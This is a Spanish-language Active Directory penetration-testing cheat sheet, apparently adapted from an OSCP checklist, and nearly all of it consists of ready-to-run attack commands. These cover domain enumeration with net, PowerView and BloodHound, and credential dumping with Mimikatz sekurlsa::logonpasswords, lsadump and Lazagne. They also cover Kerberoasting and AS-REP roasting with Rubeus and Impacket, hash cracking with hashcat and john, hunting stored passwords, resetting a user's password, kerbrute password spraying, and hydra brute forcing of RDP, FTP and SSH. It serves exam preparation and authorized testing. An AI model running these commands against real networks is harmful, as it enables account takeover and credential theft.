Active Directory
Recursos
Escaneo inicial
Escaneo de puertos conocidos a lista de hosts:
nmap -sT 21,22,23,25,53,80,88,135,161,389,445,8000,8080,3389,5985,3306,3307,1433,5432 -iL hosts.txt
Recopilación de información
Desde máquina Windows comprometida
01. Obtener Usuarios y Grupos
¿Qué usuarios pertenecen a grupos que permiten administración remota? (RDP, WinRM)
Con net:
net user /domain
net user <username> /domain
net group /domain
net group <groupname> /domain
PowerView:
Identificar objetos en Active Directory sobre los cuales el usuario tiene control total (GenericAll) y puede realizar acciones administrativas
Get-ObjectAcl -Identity "xerosec" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID
net user usuario nuevacontraseña /domain
Usuarios Kerberoastables
Get-NetUser -Domain msp.local | Where-Object {$_.servicePrincipalName} | select name, samaccountname, serviceprincipalname
Máquinas en el dominio
Get-NetComputer -Properties samaccountname, samaccounttype, operatingsystem
Lista grupos
Get-NetGroup -Domain internal.msp.local | select name
Miembros de un grupo
Get-DomainGroupMember "Domain Admins" -Recurse
Desde la máquina de atacante
SMB
Con credenciales:
cme smb $IP -u 'user' -p 'PASS' -d 'dominio.tld' --users
crackmapexec smb $IP -u 'user' -p 'PASS' --rid-brute
crackmapexec smb $IP -u 'user' -p 'PASS' -d 'dominio.tld' --groups
crackmapexec smb $IP -u 'user' -p 'PASS' --local-users
crackmapexec smb $IP -u 'Administrator' -p 'PASS' --local-auth --sam
LDAP
Con credenciales:
ldapsearch -x -H ldap://$IP -D 'dominio\\\\usuario' -w 'contraseña' -b 'DC=DOMINIO,DC=TLD'
RPC
Sin credenciales:
rpcclient -U "" -N $IP
Con credenciales:
rpcclient -U "dominino.tld/usuario%contraseña" $IP
02. Búsqueda de contraseñas
Desde máquina Windows comprometida
Cheatsheet de Mimikatz
Requiere permisos de administrador
privilege::debug
token::elevate
sekurlsa::logonpasswords
ekeys
credman
wdigest
lsadump::sam
secrets
.\\\\mimikatz.exe "token::elevate" "lsadump::secrets" exit
Lazagne (Mimikatz en esteróides)
lazagne.exe all
Rubeus
Requiere permisos de administrador
Kerberoasting
.\\\\Rubeus.exe kerberoast /outfile:hashes.kerberoast
sudo hashcat -m 13100 hashes.kerb /usr/share/wordlists/rockyou.txt --force
AS-REP Roasting
.\\\\Rubeus.exe asreproast /nowrap
sudo hashcat -m 18200 hashes.asrep /usr/share/wordlists/rockyou.txt --force
Credenciales almacenadas
Archivos de bases de datos
Get-ChildItem -Path C:\\\\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
keepass2john Database.kdbx > Keepasshash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt Keepasshash.txt
Mover el archivo a
~/keepass
y abrirlo con herramientas comokpcli
Historial de Powershell
Get-History
(Get-PSReadlineOption).HistorySavePath
type %userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadline\\\\ConsoleHost_history.txt
(Ejecutar para cada usuario)
Archivos interesantes
cmdkey /list
En el directorios “Users”:
Get-ChildItem -Path C:\\\\Users\\\\ -Include *.txt,*.log,*.xml,*.ini -File -Recurse -ErrorAction SilentlyContinue
Desde la raíz:
Get-ChildItem -Path C:\\\\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
sysprep.*
unattend.*
Group Policies
gpp-decrypt <hash>
Desde la máquina de atacante
Bloodhound
bloodhound-python -u usuario -p 'contraseña' -d dominio.tld -ns IP_DC -c All
Importar lo archivos extraídos a Bloodhound
LDAP
ldapsearch -x -H ldap://$IP -D 'dominio\\\\usuario' -w 'contraseña' -b 'DC=DOMINIO,DC=TLD'
ldapsearch -x -H ldap://$IP -D 'usuario' -w 'contraseña' -b 'DC=DOMINIO,DC=TLD'
SMB
crackmapexec smb $IP -u 'user' -p 'PASS' -d 'dominio.tld' --shares
crackmapexec smb $IP -u 'user' -p 'PASS' --local-auth --shares
crackmapexec smb $IP -u 'user' -p 'PASS' --sessions
crackmapexec smb $IP -u 'user' -p 'PASS' --lusers
SNMP
sudo nmap -sU -p 161 --script snmp-brute $IP
sudo nmap -sU -p 161 --script snmp-win32-users $IP
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt $IP
snmpwalk -v 1 -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v2c -c public $IP | grep <string>
Impacket
Kerberoasting
impacket-GetUserSPNs dominio.tld/usuario:'contraseña' -dc-ip $IP -outputfile hashes.kerb
AS-REP Roasting
impacket-GetNPUsers dominio.tld/usuario:'contraseña' -dc-ip $IP -outputfile dave.hash
03. Recopilación de información obtenida
Crear una lista de usuarios
Asegurarse de diferenciar usuarios "locales" y usuarios de "dominio"
Crear una lista de hashes y contraseñas o cualquier cosa que pueda ser una contraseña
domain_hashes.txt
domain_passwords.txt
Verificar la política de contraseñas para asegurarse de no bloquear cuentas
Desde máquina Windows comprometida:
net accounts /domain
Desde máquina atacante:
cme smb 172.16.10.10 --pass-pol
(Puede que necesite credenciales válidas)
Fuerza bruta de credenciales
Especificar con y sin dominio
Kerberos
Password Spray
kerbrute passwordspray -d dominio.tld users.txt password --dc IP_DC -vvv
Fuerza bruta
kerbrute bruteuser -d dominio.tld usuario passwords.txt --dc IP_DC -vvv
SMB
crackmapexec smb <IP>(o lista de IPs) -u users.txt -p passwords.txt -d dominio.tld --continue-on-success
crackmapexec smb <IP>(o lista de IPs) -u users.txt -p passwords.txt --continue-on-success
crackmapexec smb <IP>(o lista de IPs) -u users.txt -H '<HASH>' --continue-on-success
crackmapexec smb <IP>(o lista de IPs) -u users.txt -p passwords.txt --continue-on-success --local-auth
RDP
hydra -V -f -l usuario -P /usr/share/wordlists/rockyou.txt rdp://<IP>:3389 -u -vV -T 40 -I
hydra -V -f -L users.txt -P passwords.txt rdp://<IP> -u -vV -T 40 -I
WinRM
evil-winrm -i <IP> -u usuario -p 'contraseña'
evil-winrm -i <IP> -u usuario -H '<HASH>'
FTP
hydra -V -f -l usuario -P /usr/share/wordlists/rockyou.txt <ftp://<IP>:21> -u -vV -T 40 -I
SSH
hydra -V -f -l usuario -P /usr/share/wordlists/rockyou.txt ssh://<IP>:22 -u -vV -T 40 -I
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯
Fuente original: https://github.com/intotheewild/OSCP-Checklist
📝 LinkedIn ⮞ https://www.linkedin.com/in/david-rodriguez-ramos/ ▶️ YouTube ⮞ https://www.youtube.com/c/xerosec 🐦 Twitter ⮞ https://twitter.com/xerosec 🔴 Twitch ⮞ https://www.twitch.tv/xerosec 💬 Discord ⮞ https://discord.gg/E4AjK2XsFm
Última actualización